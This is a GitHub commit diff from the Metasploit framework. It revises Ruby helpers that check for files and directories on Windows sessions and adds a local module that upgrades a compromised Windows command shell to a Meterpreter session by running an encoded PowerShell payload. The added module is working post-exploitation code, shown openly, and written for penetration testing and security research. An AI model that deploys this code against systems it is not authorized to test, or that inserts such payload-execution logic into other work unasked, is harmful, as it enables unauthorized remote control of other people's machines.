File tree Expand file tree Collapse file tree 2 files changed +61
-16
lines changed
modules/exploits/windows/local Expand file tree Collapse file tree 2 files changed +61
-16
lines changed Original file line number Diff line number Diff line change @@ -41,13 +41,14 @@ def directory?(path)
41
41
return stat . directory?
42
42
else
43
43
if session . platform =~ /win/
44
- # XXX
44
+ f = cmd_exec ( "cmd.exe /C IF exist \" #{ path } \\ * \" ( echo true )" )
45
45
else
46
46
f = session . shell_command_token ( "test -d '#{ path } ' && echo true" )
47
- return false if f . nil? or f . empty?
48
- return false unless f =~ /true/
49
- return true
50
47
end
48
+
49
+ return false if f . nil? or f . empty?
50
+ return false unless f =~ /true/
51
+ return true
51
52
end
52
53
end
53
54
@@ -72,22 +73,17 @@ def file?(path)
72
73
return stat . file?
73
74
else
74
75
if session . platform =~ /win/
75
- out = session . shell_command_token ( "type \" #{ path } \" " ) . to_s . strip
76
- # Possible error messages when opening a file, see:
77
- # http://technet.microsoft.com/en-us/library/cc956687.aspx
78
- if out =~ /^The system cannot find the path specified/
79
- return false
80
- elsif out =~ /^The filename, directory name, or volume label syntax is incorrect/
81
- return false
82
- else
83
- return true
76
+ f = cmd_exec ( "cmd.exe /C IF exist \" #{ path } \" ( echo true )" )
77
+ if f =~ /true/
78
+ f = cmd_exec ( "cmd.exe /C IF exist \" #{ path } \\ \\ \" ( echo false ) ELSE ( echo true )" )
84
79
end
85
80
else
86
81
f = session . shell_command_token ( "test -f '#{ path } ' && echo true" )
87
- return false if f . nil? or f . empty?
88
- return false unless f =~ /true/
89
- return true
90
82
end
83
+
84
+ return false if f . nil? or f . empty?
85
+ return false unless f =~ /true/
86
+ return true
91
87
end
92
88
end
93
89
Original file line number Diff line number Diff line change
1
+ ##
2
+ # This module requires Metasploit: http//metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
6
+ require 'msf/core'
7
+
8
+ class Metasploit3 < Msf ::Exploit ::Local
9
+ Rank = ExcellentRanking
10
+
11
+ include Exploit ::Powershell
12
+ include Post ::File
13
+
14
+ def initialize ( info = { } )
15
+ super ( update_info ( info ,
16
+ 'Name' => 'Windows Command Shell Upgrade (Powershell)' ,
17
+ 'Description' => %q{
18
+ This module executes Powershell to upgrade a Windows Shell session
19
+ to a full Meterpreter session.
20
+ } ,
21
+ 'License' => MSF_LICENSE ,
22
+ 'Author' => [
23
+ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>'
24
+ ] ,
25
+ 'DefaultOptions' =>
26
+ {
27
+ 'WfsDelay' => 10 ,
28
+ } ,
29
+ 'DisclosureDate' => 'Jan 01 1999' ,
30
+ 'Platform' => [ 'win' ] ,
31
+ 'SessionTypes' => [ 'shell' ] ,
32
+ 'Targets' => [ [ 'Universal' , { } ] ] ,
33
+ 'DefaultTarget' => 0
34
+ ) )
35
+ end
36
+
37
+ def exploit
38
+ psh_path = "\\ WindowsPowerShell\\ v1.0\\ powershell.exe"
39
+
40
+ if file? "%WINDIR%\\ System32#{ psh_path } "
41
+ print_status ( "Executing powershell command line..." )
42
+ cmd_exec ( cmd_psh_payload ( payload . encoded ) )
43
+ else
44
+ fail_with ( Exploit ::Failure ::NotVulnerable , "No powershell available." )
45
+ end
46
+ end
47
+
48
+ end
49
+
You can’t perform that action at this time.
0 commit comments